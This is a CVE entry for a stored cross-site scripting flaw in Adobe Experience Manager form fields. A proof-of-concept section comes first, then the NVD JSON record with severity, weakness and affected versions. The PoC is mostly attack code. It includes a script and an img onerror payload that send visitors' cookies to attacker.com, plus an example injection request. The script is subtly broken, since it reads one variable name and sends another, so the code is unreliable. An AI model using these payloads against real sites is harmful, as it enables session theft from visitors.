CVE-2025-64847

<!-- CVE-2025-64847 PoC: Stored XSS in Adobe Experience Manager Form Fields --> <!-- Attacker with low privileges injects malicious script --> <!-- Step 1: Inject XSS payload into vulnerable form field --> <script> // Malicious script to be stored and executed var stolen_cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/exfiltrate', true); xhr.send('cookies=' + encodeURIComponent(stored_cookies)); </script> <!-- Alternative payload using img tag --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Step 2: When victim views the page containing the injected field, the script executes --> <!-- The PoC demonstrates how low-privileged users can inject persistent scripts --> <!-- that will execute in all visitors' browsers --> <!-- Example POST request to inject payload --> <!-- POST /content/forms/af/[form-name]/jcr:content/guideContainer.af.submit.jsp HTTP/1.1 --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- --> <!-- [vulnerable-field-name]=<script>alert(document.domain)</script>&other_field=value -->

{"cve": {"id": "CVE-2025-64847", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:32.503", "lastModified": "2025-12-12T18:08:20.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}